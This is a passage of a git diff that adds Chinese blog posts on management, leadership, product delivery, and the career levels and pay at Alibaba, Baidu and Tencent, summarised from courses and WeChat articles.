+我当时很感动，此后的每天早上，我都会去做十分钟汇报，他给我辅导。然后，在各大场合，他每次都会说，今天她就是你的老板，如果你们有人反对她，请你离开。 + +我这样被培养起来以后，接下来，便用同样的方法，辅导自己的下属，最终从主管做到区域经理、大区经理、总经理。 + +这就是文化的传帮带。 + +战略落地 + +一个战略落到地上，要有业务运营指标，只有活在今天才有明天。当这个业务定完之后，我们就要开始分配人力资源，你需要做好三件事情： + +① 排兵布阵 + +明年要做业务，要打仗，要先把元帅、将军、排头兵选出来。这个事情谁打头阵，谁做粮食的供给，谁做士气的号召，要根据你的目标，把人才盘点出来。 + +② 操练 + +要训练这群人，你要想你的合伙人，你的高级管理者，不同的层级的人，该用什么不同的方法，去训练他们。 + +③ 把公司的基本法则弄出来 + +哪些是公司底层最重要的政策和制度？与销售提升相关的指标制度和财务预算制度，包括绩效考核、奖励和处罚等。 + +如果制定了一个政策，所有人都说好，这个好不好？垃圾。 + +任何一个政策制度，都应该是得人心的，并且能把好的员工筛出来，差的走人，中间这部分让他觉得有压力就对了。 + +组织发展 + +你们知道，在HR领域，哪个部门的人是最贵的吗？就是组织发展里的老大，因为他要把各层管理者的能力提升起来，往前走，全中国不超过十个人。 + +① 怎样提高一群人的能力？ + +你需要重点解决这三个问题： + +解决员工愿不愿意干的问题 + +当你推行一件事情，首先要想的是，怎么样让他愿意干这个事情。 + +解决员工能不能的问题 + +你发现这件事情的能力需要123，员工的能力只有1和2，缺个3，这个时候，通过外部的培训，或是个人辅导，你要把这个3补上去。 + +需要一群人干的很开心 + +如果公司里干的好不如干的不好的人，你觉得人家有动力干吗？没有。所以，你要创造公正透明激励人心的氛围。 + +② 怎样提升初级、中级、高级管理者的能力？ + +我在阿里管理干部学院湖畔学院（湖畔大学的前身）的时候，研究了一件事情——管理者需要怎样提高他们的能力？ + +腿部力量——初级管理者 + +我当时把公司做的最好的20个初级管理者，观察他一天干什么，一周干什么，一个月干什么，把工作习惯写下来，慢慢地写，有一百多条。 + +在这些事情里面，我们发现有三件事情是最重要的，就摘出来，开发成了课程： + +第一件事，不仅要会招聘，还要会开人； + +第二件事，学会做团队建设； + +第三件事，能不能拿到结果？怎么拿到结果？数据该怎么做？过程该怎么做？结果的方法路径该怎么做？ + +重点再强调下“开人”，你们有没有开过10人以上的？行业内，有一句老话，开过100个人的，才叫做管理有境界，开过十个人叫做管理入门。 + +也就是说，如果你没有开除过那么多员工，你的管理根本就是还没入门。 + +腰部力量——中级管理者 + +总监和高级总监这层，是一个公司的腰部力量，中流砥柱，这些人需要的能力也包括三个层面： + +闻味道 + +当你出差一个礼拜回到公司，转两圈，能直觉感觉到一些东西吗？我记得以前马总出差回来的第一件事情就是跑上跑下，跑完后开会，就说谁谁谁有什么问题，很准。 + +相由心生，每个人的状态好不好，都写在脸上。如果你是一个好的管理者，你回到公司的第一件事情就是观察，这个员工眼睛里面有没有光彩，脸上有没有笑容。 + +这个能力必须要训练，直到你发现你长了一个狗鼻子，越闻越灵敏。 + +揪头发 + +怎么才能真正理解老板的想法？你要学会放高一个格局去想，假如你是老板，会怎么处理这个问题？ + +我下属来找我吵架的时候我就问他们，如果你是我，你怎么做，就解决了。这就叫揪头发。反过来讲，CEO也一定要学会用这个办法，去理解你的员工。 + +照镜子 + +有一个著名的猴子理论，说的是一棵树爬满了猴子，往上看都是屁股，往下看都是笑脸。其实，在职场中，你也是这样一个爬树的猴子。 + +在基层的时候，向上看，全是屁股，所有人都打击你，这个时候你要告诉自己没事，我只是在这里而已。 + +当你爬到中间的时候，其实是最累的，就跟中年油腻男一样，上面虽然屁股不多，但屁股太重了，往下看，每个人都在微笑，也帮不了你什么。 + +所以，作为这样高管，你要学会日省三身照镜子，我做的真的对吗？ + +最危险的高管是什么？我想办一件事情的时候，考虑的第一件事情是怎么搞定我老板。你有这个想法的时候是很危险的，因为没有人阻拦你，也没有人说你一定不对，所以，你一定得学会自省。 + +组织部——高级管理者 + +到了高级总监以上，你就进入了核心管理层，也即公司组织部，我们单独开了一个课程，叫ALDP——阿里巴巴领导力。核心能力就三条，战略能力、培养人的能力以及你的胸怀、格局、以及平行合作的能力。 + +高管可以实行360度考核，评估这个总经理好不好，要问他的老板，问他的平级，问他的下属。为什么要360度？因为老板只能看他的能力，平级可以看胸怀，下属能看人品。这是一个体制化的建设。 + +在职场经历这么多以后，你还能够回到纯粹的你吗？只有回到那个纯粹的状态，从内心深处长出向善的力量，你才能做得越大。所以，我们对高管的核心要求就是，每个人都应该向内去长力量。 + +一个真正的好的管理者会特别善于激发你善良的一面，而不好的人就会激发你不好的那面，以至于负面能力越来越大。 + +③ 公司超过100人，一定要开的三个会议 + +如果你的公司超过100个人，一定要开三个会：业务战略会、财务预算会和人才盘点会。这也是阿里年底开集团会的时候，最重要的三件事情，叫人、财、务的战略会议。 + +举个例子，人才盘点会的时候，马总对直接向他汇报的人是最狠的，他会让这家公司的HR、VP和总裁一起来，会一直追问到经理这层。 + +每一个老板都特慌，因为你必须对你汇报的所有线的管理层都了解，什么优点什么缺点，不能讲错。因为，在这之前，组织部已经做了人才盘点了，我们已经形成了所有的报告，并且马总已经看过，他拿到的资料要比你知道的多。 + +HR的核心工作：如何招人、选人？ + +如何招聘合伙人？ + +招合伙人的关键点有三条： + +① 有共同愿景 + +要发自内心的热爱这个事情，最怕招来一个人，是为了你的钱，或者他说，最近这个业务，投资人特别火爆，所以要做这个事情。 + +② 背靠背的信任加包容 + +信任有两个层面，第一，我相信你，你先证明给我看，我再相信你；第二我先选择相信你，你去放心的做。 + +这两种，貌似殊途同归，但真的会吗？找到志同道合的合伙人以后，你是先选择不相信他，还是选择相信他？ + +相信吧，因为不相信他，最惨的是你，你说什么东西，当别人觉得你不信任他的时候，他一定会应付，不会跟你是一条心。 + +先选择相信不代表你是个傻子，你可以在过程当中去观察。这就是马总说的，用人要疑，疑人要用。 + +③ 互补性 + +你要做一个好的CEO，至少应该有6个能力，对外是做品牌、整合资源、会融资。对内要会定战略，会忽悠人，精神领袖。 + +![](/uploads/2019/06/05-91.png) + +这六个里面，如果真的干不了，你一定得干三个事情，定战略，整合资源，做大家的精神领袖，其他都可以找合伙人，帮你分掉，比如找一个好的CFO帮你做融资。 + +怎么招聘高管？ + +高管不是一张白纸，也都写满了，但他可以认同也可以不认同你的价值观，很正常。所以你选择高管的时候，主要有三条： + +① 要有战略眼光 + +高管是要带着部队打仗的，如果他的战略眼光不行，执行力越好，反而死的人越多。比如说这是一个坑，他不知道，下面的人都很听他的话，最后就是全军覆没。 + +② 要有胸怀格局 + +每一个高管带的部门都是平行部门，天然会打架。一个公司再厉害，他的资源、钱总是有限的，所以这个时候，这个人的格局很重要。 + +③ 超越伯乐，会不会培养下属 + +以前阿里有一个不成文的规定，要晋升，如果没有后备的管理 +者，是不可能被晋升的。 + +怎么选择普通管理层？ + +高管下面普通的管理层，你对他的要求是三个： + +① 根红苗正，价值观要好； + +② 团队责任感； + +③业务管理的体系化。 + +为什么要特别加一个体系化？因为，你会发现很多人管理业务都是点对点的，没有体系的力量，但你要记住，管理是一定要有体系的，从KPI到结果怎么分解，应该是体系化的管理。 + +（完） + +* 本文根据张丽俊老师在混沌大学的课程《人力资源是CEO第一工程》整理而成，内容仅为全部课程的1/7。 + +更详尽： +1. 企业发展不同阶段，该如何招人用人？ +2. 湖畔学院“三板斧”是怎么来的？ +3. 千万不要去这样的公司当CHO diff --git a/_posts/2019-06-05-408-mba0103.md b/_posts/2019-06-05-408-mba0103.md new file mode 100644 index 0000000..fa2c02a --- /dev/null +++ b/_posts/2019-06-05-408-mba0103.md @@ -0,0 +1,218 @@ +--- +layout: post +title: 【先导课程模块】 第3节 可复制的领导力 +pid: 408 +tags: [mba] +--- + +公司应该是个球队。大家聚在一起是为了进步，为了赢得最终胜利。唯有如此，才能将团队打造成激烈商战中无坚不摧的铁军。 + +——樊登 + +![](/uploads/2019/06/05-92.png) + +授课老师 | 樊登 + +著名领导力专家、樊登读书会创始人 + +先来澄清一个问题，团队执行力差，该怎么办？ + +现在，大部分人痴迷执行力。很多执行力的课上得也很好，甚至能把员工上哭。但一般两个礼拜之后，这个人又回到从前，为什么？ + +因为执行力本身就是个伪命题，就像脂肪肝，医学里面根本不存在这个病，而是很多医生联手药厂杜撰出来的一个病。 + +员工执行力是什么？员工的执行力其实就等于领导力，如果你的领导力有问题，你会发现，你的员工执行力总是有问题。 + +举个例子，中国的管理者布置工作时，最常说的一句话是什么？日本企业的要求是讲5遍，可咱们的要求：不要让我再说第二遍。 + +甚至很多新的创业者，不知道从哪儿学来的坏毛病，他们希望员工有眼色，一个眼神，你就得明白我的意思。 + +如果你用这样的方法，一辈子也不可能培养出一个有眼色的员工来。 + +所以，大量管理者的问题都出在了领导力上。现实中，有大量的创业企业都是生于一个美好的愿望，然后死于特别糟糕的领导力。 + +因为你开了公司以后，你会发现，要把一群人搞到一起，然后让大家还能够特别地听话，没有吵架、腹黑，没有相互的陷害，还能把工作继续做下去，是一件相当困难的事儿。 + +尤其是在当下互联网时代，如果你再延续过去那种，用“怕”的心理去驱动员工为你干活，将越来越困难。 + +10年前，如果你的老板说要开了你，你害怕吗？尤其是你那时刚刚买了房子要付月供，如果被开掉，你会很害怕。但现在，老板要开掉你，你怕吗？为什么不怕了？为什么现在的人越来越不怕老板了？各位要记住一个非常重要的趋势： + +互联网放大了每一个个人的能力，取而代之的是，只有一个人具备超强的尊敬和信任时，你才能成为一个真正的领导者。 + +构建游戏化组织，让工作变得有趣 + +具体要怎么做？我的观点是，构建游戏化组织，让工作变得有趣。 + +伴随着互联网成长起来的新一代员工，金钱和梦想已经不是吸引他们工作的最重要的理由，而是要让工作变得有趣。具体而言，就是用游戏的结构来组织工作流程。 + +你需要掌握以下四个要点： + +01 宏大的目标 + +还记得小时候玩的《超级玛丽》，目标是什么？救公主。为了救公主，你要不停地跳。再比如，《街机三国》的目标是救貂蝉。《魔兽世界》是要保护你的部落不断地成长，抵御外侵。 + +有了目标，你才会有成就感。企业应该设立什么样的目标？ + +不是上市，或是买大房子，或是分多少钱，这些都不能带来长期激励效应。应该是什么呢？要能为社会解决一个问题。 + +圣人和暴君有啥区别？暴君的特点是我能够，所以我必须。但圣人的特点是我必须，所以我能够。我必须要做一件事情，为人类社会解决一个问题，所以不管会不会，我逢山开路、遇水架桥，我也要把这个事儿给做了。 + +没有任何一个人创业的时候，什么都会，但他有个愿景在心里面，有超强的学习能力和感召力，就会自动吸引来很多相似的人。 + +举个例子，美国创业教父彼得•蒂尔在1999年做PayPal的时候，他的目标是什么？解放第三世界国家的人民。这是不是太扯了？支付跟第三世界国家人民有什么关系？ + +其实彼得•蒂尔是耶鲁大学法学院的学生，毕业以后，他很关注第三世界国家。他发现那里的人民，无论再怎么努力，总是赚不到钱，因为他们总被自己的政府抢劫。 + +政府怎么抢劫？不是收税，是印钞票。政府只要不停的印钞票，你手里的钱就越来越不值钱。 + +怎么才能解决这个问题？后来他在耶鲁大学演讲时就说，如果我们能设计出一种用电子邮件关联美元交易的模式，这些人的财产不就保全了吗？我们要用这个方式来解放第三世界国家的人民。最终，彼得•蒂尔收获了很多支持者。 + +后来，PayPal真的统治了世界，直到现在，它还是美国非常重要的支付方式。 + +02 规则 + +所有的游戏，都有一套清晰明确的规则。当有一个完美规则时，你会发现这个东西能自动运转。 + +举个例子，淘宝第一大品牌韩都衣舍就是靠一个规则活下来的。 + +他在韩国搞了200多个品牌，然后招聘三人的创业团队（美工、商务、客服）来做。我给你10万的投资，你从我这200个品牌里面进货和售卖，规则是： + +你卖的钱×0.7=下次进货的额度 + +也就是说，10万你卖了20万，下次14万进货，14万卖了30万，21万进货。这个时候，你就会发现，这三个人干活特别玩命，因为赚的钱都是自己的。 + +稳赚的是0.3吗？这么想，你就太天真了，还有进货价呢。进货我还要赚一笔钱，这是多好的利润？ + +这里有没有不靠谱的？比如10万干成5万，那就只能认赌服输，5万×0.7，3.5万进货，3.5万再变2万，1.4万进货，最后直到赔到没钱了，取消。 + +这种组织架构模式就叫做海星模式。你把这个海星切开变成两个海星，然后你再切开，变成4个，你把它剁碎，就变成了一群海星。 + +这是自然法则，它不在意一个物种的生灭，要的是系统的稳定性。当你这样做了以后，代理商会主动教育代理商，并最终很快就把市场做下来。 + +03 即时反馈 + +你打游戏的时候，冲到场景里砍人，每砍一下，那个人就会流血，砍死以后会掉装备，差不多几十秒钟之后，就有一个装备掉下来，所以，为什么那些孩子打游戏停不下来？因为，太好玩儿了，有反馈。 + +但是，我想请问大家，你们多长时间给你们的员工做一个反馈？ + +创业者尤其焦虑，最喜欢做负面反馈，但这只会让士气越来越低落，你需要学会通过正面反馈，来提升员工的士气，并且塑造他的行为。 + +塑造一个人行为最有效的方法是在他做对事儿的时候，而不是在他做错事的时候。当一个人做错事的时候，正是你和他拉近距离的最好机会，做对事的时候，才是你和他塑造行为的机会。 + +04 自愿参与 + +所有的游戏都是自愿参与的，那怎么才能让员工自愿来上班？ + +领英的方法是招聘员工的时候，会问他两个问题： + +•你打算到公司来干几年？ +•当你离开这个公司的时候，你希望自己是个什么样的人？ + +如果对方说，5年以后希望能够成为一个独立的项目经理。很好，领英会给你创造这样一个机会，培训你，让你去实践。但同时，你也得为领英做些事情，然后双方达成一个协议。 + +这里面的关键是，你要记住，公司和员工的目标完全可以统一在一起。 + +还有一点，你需要记住，一个公司绝对不是一个家。 + +为什么公司不能是一个家呢？因为如果你把公司比喻成一个家，最大的问题就是你和员工分手的时候都会很痛苦。因为，员工会觉得你骗了他，说好的一家人呢？怎么说开就开？ + +联想当年就开除过一批人，那批人在网上写了一篇文章，标题叫《联想不是家》，给联想惹了无数的诉讼和麻烦，为什么？联想对他们的员工够好的了，给了那么多赔偿，但员工依然生气，因为之前的人设不是这样的。 + +公司应该是什么？公司应该是个球队。大家聚在一起是为了进步，为了赢得最终胜利。唯有如此，才能将团队打造成激烈商战中无坚不摧的铁军。 + +要员工成为你创业体系联盟中的一员，并且要不断激发他体内善的能量，只有这样，他才能够焕发出足够的动力去加班、去工作。 + +彼得•德鲁克就说过，“管理就是最大限度激发他人的善意。” + +修炼领导力 要明确三个概念 + +01 什么是管理者？ + +管理者就是通过别人来完成工作的人。如果你不知道这一点，凡事喜欢亲力亲为，你的员工会被逼疯掉。 + +有没有见过很多这样的公司，从老板到员工都很勤奋，但干了10年还是在原地打转？ + +因为，老板的力就像一个陀螺，就是不停地戳，没有前进，所以老板得能够忍住，知道有问题不说。 + +有的老板为什么那么喜欢批评员工？是因为他自己不成熟，是一个孩子，希望划清责任，不是我不行，是这帮孙子。 + +所以，你不要为了面子，一天到晚的骂员工这不行，那儿不行。当你把所有的责任全部推给员工的时候，员工完全没有重心，他会像陀螺一样原地打转，没有进步。 + +我对团队的要求就是，每天去思考，有没有10倍增长的可能。只有这样，才能带来真正的创新。如果仅靠勤奋和敬业，最多就20%的增长。 + +所以，管理者是通过别人来完成工作的人，你要知道你最重要的责任，不是做业绩，而是培养他人的成长。 + +衡量一个管理者能力的高低，最重要的指标就是看你培养出来一支什么样的队伍，你能不能带出一支负责任，不断的自我进化、自己学习的队伍，这个才是最重要的领导力。 + +总之，如果你创业觉得越来越累，那肯定是方向错了，创业应该是越来越轻松才对。 + +02什么是领导者？ + +通过营造氛围来提升绩效的人，就是领导者。 + +举个例子，李云龙打仗冲在最前面就是营造氛围，公司里面有这么一个人很重要。每次给大家演讲，李云龙就说，“狼走千里吃肉，狗走千里吃屎”，跟士兵打架，“能打过我的有肉吃，打不过我的别他娘的吃肉。” + +总之，作为领导者，我可以创造一个激励机制，让大家嗷嗷叫地去训练。 + +怎么营造氛围？ + +春节排班的时候，你们先挑时间，剩下的我来做，可以吗？老板骂下来，这事儿谁干的？我没说清楚，这个事儿罚我，不关他们的事儿…… + +你看，即便是一个小组长，都有这么多营造氛围的空间，你呢？ + +现实情况是，有很多管理者都在主动地干破坏氛围的事儿，比如说管理者整天讲抱怨的话，负能量爆棚，连你都抱怨，你说员工怎么办？还比如，管理者说话不算数，喜欢挑毛病等。 + +为什么大家都喜欢挑毛病？这是人类的本性，有一本书《你的生存本能正在杀死你》，讲的就是这个事儿，我们体内原始人的素质依然存在，只有足够小心，才能活下去，所以我们天天盯着别人的缺点。 + +所以，领导力是一个反人性的东西，你必须得能够变得善于发现他人的优点，并且表扬他，才能够营造出一个良好的氛围。 + +03什么是执行者？ + +执行者是给出结果的人。 + +讲个笑话，有三个人在干活，一个人挖坑，另外一个人过来把坑填上，然后这个人走两步再挖一个坑，另外一个人再填上。有人就问了，“大哥你，们这是干什么呢？” + +他们礼貌地说，“先生，我们在种树。我的任务是挖50个坑，他是填50个坑，种树的那个人，今天请假了。” + +他们干活儿了吗？确实干了，但有结果吗？没有种树。 + +我们在工作当中，有没有人这样的人？我把该做的事儿都做了，但别的事儿你别烦我，你们部门的指标跟我没关系。 + +执行者是给出结果的人，你要知道老板要的是什么，老板要的是墙上的洞，而不是电钻。 + +04 小结： + +每个人身上都有三种角色，领导者、管理者、执行者，该怎么分配？ + +一个初级管理者做事儿，就是少废话，把执行做到位，哪怕员工都不帮忙，你一个人也得干了。一个人要想获得领导的肯定，最重要的素质就是靠谱，靠谱就是得执行的好。 + +高层管理者，最重要是要思考氛围，让团队有战斗力。 + +公司里面最累的人是中层，执行、管理、领导，三者缺一不可，每一个素质都将决定你能不能突破瓶颈，成为高层。 + +特别奉送•推荐书单： + +如果你觉得课程不过瘾，再来看看樊登老师的推荐书单吧，厚积薄发： + +如果你希望学会正确表扬人，可以看《可复制的领导力》； + +如果你希望营造团队氛围，可以看《哈佛商学院最受欢迎的领导课》； + +如果你希望能够把管理和教育孩子结合起来，可以看《你就是孩子最好的玩具》； + +如果你要学会辅导高级别的员工，可以看《高绩效教练》； + +如果你要学会批评人，可以看《关键冲突》； + +如果你想全面提高沟通技术，可以看《关键计划》、《非暴力沟通》； + +如果你想找到创业的方法论，可以看《精益创业》、《让大象飞》《指数型组织》； + +如果你想做好品牌传播，可以看《疯传》、《感官品牌》。 + +本文根据樊登老师在混沌大学的课程《可复制的领导力》整理而成，内容仅为全部课程的1/7。 + +更详尽，观看课程回放： +1. 东西方做事方法的差异 +2. 如何获取别人的尊敬和信任？学会沟通视窗 + diff --git a/_posts/2019-06-06-409-simple-process.md b/_posts/2019-06-06-409-simple-process.md new file mode 100644 index 0000000..d775d80 --- /dev/null +++ b/_posts/2019-06-06-409-simple-process.md @@ -0,0 +1,17 @@ +--- +layout: post +title: 快速产品交付流程 +pid: 409 +tags: [岗前培训] +--- + +快速产品交付流程 + ++ 明确业务需求 ++ 分析用户需求（泳道图、用例图、线框图） ++ 分析功能需求（流程图、状态图、E-R图） ++ 美工设计图 / 编码 / 测试 ++ 用户确认测试 ++ 上线 ++ Sanity Testing ++ 维护 \ No newline at end of file diff --git a/_posts/2019-06-06-410-career-planning.md b/_posts/2019-06-06-410-career-planning.md new file mode 100644 index 0000000..44e7ade --- /dev/null +++ b/_posts/2019-06-06-410-career-planning.md @@ -0,0 +1,71 @@ +--- +layout: post +title: 腾讯的职级系统——看清自己的职场宿命 +pid: 410 +tags: [岗前培训] +--- + +我2011年把公司全资卖给腾讯。2012年过完春节，编辑部的员工辞职一半。 + +我就很想不通，现在变成了腾讯员工，运营腾讯旅游，听上去很不错，为什么要离开呢？ + +于是和每个申请离职的小MM都交流了一下。 + +之前我是创业，当然没能力找很多熟手，基本上是大学应届毕业生。到此时，大家毕业1年多。很此次提出离职，几乎原因一致：“离开北京，回家乡去。” + +小姑娘提的问题很现实：“我在这里，每个月租房子要1500，而且租在很远的地方。每天眼睛一睁就去挤公交。晚上下班，再2个小时颠簸到住的地方，基本上一点力气都没有了。我的生活就是路上——上班——路上——睡觉。这样几年，我会成为一个什么样的人？我能不能在北京呆下来？我会有什么样的生活？” + +我一时哑然。 + +然后问当时腾讯电商的HR老大刘琳。有没有被问过类似的问题。 + +刘琳吃惊地问：“啊？难道你第一次面对这个问题？我们可是10年累计花了1000多万设计了一套系统，来解决这个问题啊。……” + +这就是腾讯的职级系统。看到它的一瞬间，我惊呆了。然后花了整整两周的时间仔细学习，受益匪浅。 + +腾讯的职级系统有26个职业通道，如果你是一个一张白纸只有素质没有任何职业能力的毕业生，可以从这个26个通道，比如行政、财务、设计、运维、开发、运营、产品…….的任何一个1-1级开始，修炼，打怪升级，直到千万年薪。如同一个完整的人生指引。 + +横轴是26个职业通道，专业技能各不相同，纵轴是4个大层级。 + +以下是按照我的理解来写了。（直接抄原文会被企鹅摔着打的）。 + +我觉得腾讯的职业四大层级，几乎就是人生发展的四大层级。 + +第一层是动作执行层、第二层是任务执行层、第三层是战略管理层、第四层是战略决策层。 + +先说**动作执行层**。一个企业最多的就是这个层面的员工。或者每个人初入职场，都是从练好一个动作开始。比如，画原型，写代码，写稿子…… + +而腾讯对动作执行层的要求是：按照品质要求，完成动作、优化效率。注意，没有品质要求的动作，毫无意义。用户体验的不是产品而是品质感。就像你去一个川餐馆吃鱼香肉丝，你感受到的是这家鱼香肉丝的品质。大厨的工作不单是保证把菜炒出来，更是要保证菜品在一个什么样的品质感里。所以麦当劳的桌子永远擦的干净，同样的人在另外一个餐馆未必达到这种清洁标准。因为麦当劳不是要求把桌子擦了，而是清晰地要求达到什么样的清洁品质。 + +达成品质要求之后，在谈完成动作与优化效率。 + +**任务执行层**。就是要把分配的任务及指标，拆解成动作。由不同人组合完成，或者一个团队次序完成。需要在整个过程中，控制人心，安排动作序列，并配置风险，保证完成任务，达成指标。几乎所有铁血创业者都是从这个层级冒出来的。 + +**战略管理层**。就是大家永远不理解的那批副总。带兄弟痛快淋漓干活的都是总监。而副总，心累。他们需要根据战略决策，确定任务优先级，配置资源，鼓舞士气。保证战略方向不偏差。 + +而最高的**战略决策层**，几乎就是个CEO的活。他需要有前瞻，推动相关资源方做出战略决策，并且获取战略资源。就像亮剑里的李云龙。在除了自己，什么都没有的情况，他可以沟通，说服。一个队伍打没了，马上再拉起一个队伍。只要他还要打下去。 + +四个层级的核心工作不同，对人的特性的核心需求也不同 + +在**动作执行层，才气**很重要。 + +在**任务执行层，责任心，执行力**的价值，远大于才气。甚至需要放弃自己的才气，把时间交给众多的兄弟，才能实现任务的完成。 + +而一个人能否达到**战略管理层**，核心要考核的是：**心力**。心力是什么？就是无止无尽操心的能力。资源永远有限，战略常常在变，兄弟都是亲的，永远没人满意。所以，一堆人拉我去当副总，我都谢谢了。因为自己清楚，心力真心不足啊～ + +**战略决策层。愿力**。其实我在《决策》那篇文章中谈过愿力的问题。没有愿景支撑的决策都是机会主义。一个人如果心中没有愿，那真是谁都帮不了他。看上去再大都是纸老虎。 + +所以，人会在哪个层级呆着，度过一生，其实都是因为吃不了其他层级的苦。其实发展个人才气，在动作层呆着，是人生最舒适的选择。 + +不过那些以才子自居的人，创业往往格外困难，因为在整个创业的战略确定到达成的过程里，最不值钱的，也就是才气。 + +又： + +进入腾讯一年后，我和Free吴宵光吃饭，很认真地敬酒感谢他。这一年在腾讯学了很多东西。Free还反问我，是嘛，学到啥啦？我说我写篇学习心得交给你吧。2年后，还是交作业了。当然学到很多不止这些。。 + +腾讯还是一家非常强大的企业。动作人员动作到位，品质严格，没有任何偷懒取巧。任务负责人有高度集体荣誉感，连年会表演个节目都全情投入。中高层干部心力充足，能每天从早6:00到晚1:00持续无至尽地操心。所以，那些要挑战腾讯的企业，只要看一眼动作人员的动作到位度，和高管的心力，就可以自我掂量了。 + +这篇是我给李翔的《财经天下》写的专栏。谢谢李翔还有编辑哥施雨华。。。施编辑哥。。说好的带我和雷晓宇去围观徐皓峰呢？ + +# 参考 ++ [腾讯的职级系统——看清自己的职场宿命](https://mp.weixin.qq.com/s?__biz=MjM5MjA4MjU4MQ==&mid=200790551&idx=1&sn=17cb243a839d12f19a997be4d2572537&scene=21) \ No newline at end of file diff --git a/_posts/2019-06-06-411-career-planning.md b/_posts/2019-06-06-411-career-planning.md new file mode 100644 index 0000000..fc6eb08 --- /dev/null +++ b/_posts/2019-06-06-411-career-planning.md @@ -0,0 +1,100 @@ +--- +layout: post +title: 深挖BAT内部级别和薪资待遇，你敢看？ +pid: 411 +tags: [岗前培训] +--- + +一、 阿里内部级别和薪资待遇 + +先看个例子，或许你也曾像他一样纠结BAT的offer： + +> 最近刚通过阿里面试，但基本薪酬也是不升反小降。 级别只有P6+，连P7都没有，非常郁闷，打算拒绝算了。小本工作9年了，这算不算loser ？ + +> 奇了怪了，阿里系的P6和P7的范围到底是多少？ + +> 不过反过来说，阿里系面试还真是有点深度的，通过不易，但拿到这个级别总感觉是否自已混的太一般了。 + +> 郁闷。 + +这样的纠结实在太常见了，都是工作好几年的老程序员了，好不容易动心跳个槽，猎头开始保证得好好的，怎么拿到offer的薪酬却不尽如人意？是自己能力不够，还是被HR/猎头忽悠？ + +专心做技术的大都是心思单纯之人，却最容易吃亏，知己知彼方可百战不殆，看看对方的级别和待遇，谋定而后动，才能跳得更远，走得更稳。 + +1、阿里内部的常见级别和定义 + +P序列=技术岗 M序列=管理岗 (注：样本有限，以下全部数据仅供参考！) + +![](/uploads/2019/06/06-01.jpg) + ++ 阿里的非管理岗分为10级； ++ 其中P6、P7、P8需求量最大，也是阿里占比最大的级别。 + +前面例子中那位郁闷的同学拿到了P6+的offer，正处于最庞大但又最尴尬的级别中段，至于为什么差一点儿没拿到P7，难道是HR在省招聘费？ + +2、阿里的级别对应薪资 + +![](/uploads/2019/06/06-02.jpg) + ++ 阿里薪资结构：一般是12+1+3=16薪 ++ 年底的奖金为0-6个月薪资，90%人可拿到3个月 ++ 除了薪水，股票也是重要的收入之一，阿里的股票分年限行权，一般4年拿完 + +说到股票，顺便普及下常识。股票是公司用来奖励员工忠诚度的，所以阿里分年限行权，要离职套现得准备好充足的现金。因为当月薪水和归属股票是一起算作当月个人收入的，所以归属时通常要缴纳高达45%的个税，然后得到的可能还是限制性股票，还不能马上卖呢。等到可以出售的时候，还得缴纳20%股票增值部分的个人所得税。 + +同时，你必须先缴税，才能归属，缴税还必须用现金，不能sell to cover！So，拿的越多，先拿出的cash就越多，这里面的流动性风险你自己权衡吧。 + +二、百度内部级别和薪资待遇 + +1、百度的技术级别 + +百度有4万人，每年招聘应届生技术产品人员1000人左右，技术岗位级别和阿里类似，分为T序列12级，不赘述了，大概阿里的级别减1或2，就是百度的级别。 + ++ 主要集中在T5/T6，升T7很困难，T7升T8更困难；T7以上一般就不做coding了； ++ 一般来说，在百度待3年能给到T5，很多人都等不到三年，原因下面说，社招过来的，一般是外面公司的技术骨干了； ++ T10是技术总监，十个左右；T11是首席科学家；T12基本没见过。 + +2、百度薪资的大概范围 + +![](/uploads/2019/06/06-03.jpg) + +百度薪资结构：月薪×14.6（12+0.6+2），其他岗位月薪×14。 + ++ T5以上为关键岗位，另外有股票、期权； ++ T5、T6占比最大的级别，T8、T9占比最小； ++ 级别越高，每档之间的宽幅越大。 + +百度是一家业务定性，内部稳定，金字塔形的成熟公司。也就是说，大部分事情都是按部就班、驾轻就熟，所有人都比较轻松、稳定、舒服，尤其是对老员工而言。但是对于新员工来说，这意味着成长空间的极度压缩，机会少，上升慢。 + +百度工资高，福利好，但是这么多年期权已经基本发光了，只有总监以上才有，几十股几百股就算多了。问题就来了，百度新老员工的期权数量太悬殊，据说到百度楼下停车场一看，开卡宴的都是老员工，开捷达的都是新员工，其实很多新员工的贡献比老员工大得多，但是收入反而倒挂，于是很多新人等不到3年就跳了。 + +三、腾讯的内部级别和薪资待遇 + +1、腾讯的技术级别 + +腾讯的分级和阿里/百度都不一样，分为T1/T2/T3/T4共4级，每级又细分为3小级。 + ++ 员工仍然集中在中段，尤其是 T2.3 和 T3.1； ++ 想从T2跨到T3，即从2.3升3.1是非常困难的。 + +2、腾讯的薪酬和级别的关系 + +![](/uploads/2019/06/06-04.jpg) + ++ 腾讯标准薪资是14薪，但是通常能拿到16-20薪； ++ T3.1以上开始另外有股票。 + +值得一提的是，腾讯是有淘汰制考核的。一般一年两次考核（6月、12月），实行末尾淘汰制，0-10%优秀，必须有5%的人转组（转组也可能出现没人接收的情况）或者被开除。 + +升级也和考核结果很有关系，要升一个小等级，必须最近两次考核得过一次A类考核结果。升 T3.1是内部晋升的第一道槛，要求架构在领域内优秀，被追问攻击时能无漏洞应答出来——据说只有30%的通过率。同时，腾讯好的一点在于，底层普通员工如果技术真的不错，照样升级，和是不是leader关系不大。leader的带队价值在T3.3时才显现出来。 + +来看看BAT级别对照表 + +![](/uploads/2019/06/06-05.jpg) + +结语 + +各个公司头衔名字都不一样，级别的数目也不一样；有些扁平，有些很多level慢慢升；有些薪水范围严格跟级别挂钩，有些薪水和级别并没有绝对对应的关系。无论你是向往BAT还是身居其中，把握每年的评级机会/跳槽机会，建立一条上升的职业曲线更为重要。因为，没有变化是一件很可怕的事情。 + +# 参考 ++ [深挖BAT内部级别和薪资待遇，你敢看？](https://mp.weixin.qq.com/s?__biz=MTQzMjE1NjQwMQ==&mid=207265348&idx=1&sn=dce6366818be482a046bba0a639bd31c&scene=7#wechat_redirect) \ No newline at end of file diff --git a/_posts/2019-06-06-412-career-planning.md b/_posts/2019-06-06-412-career-planning.md new file mode 100644 index 0000000..2104d8b --- /dev/null +++ b/_posts/2019-06-06-412-career-planning.md @@ -0,0 +1,104 @@ +--- +layout: post +title: 程序员晋升攻略 +pid: 412 +tags: [岗前培训] +--- + +一个成熟的中大型组织中，专业人员会有不同序列技术级别上升通道，比如腾讯及百度的T系列，阿里的P系列等。一些公开介绍的腾讯职级情况如下。 + +> 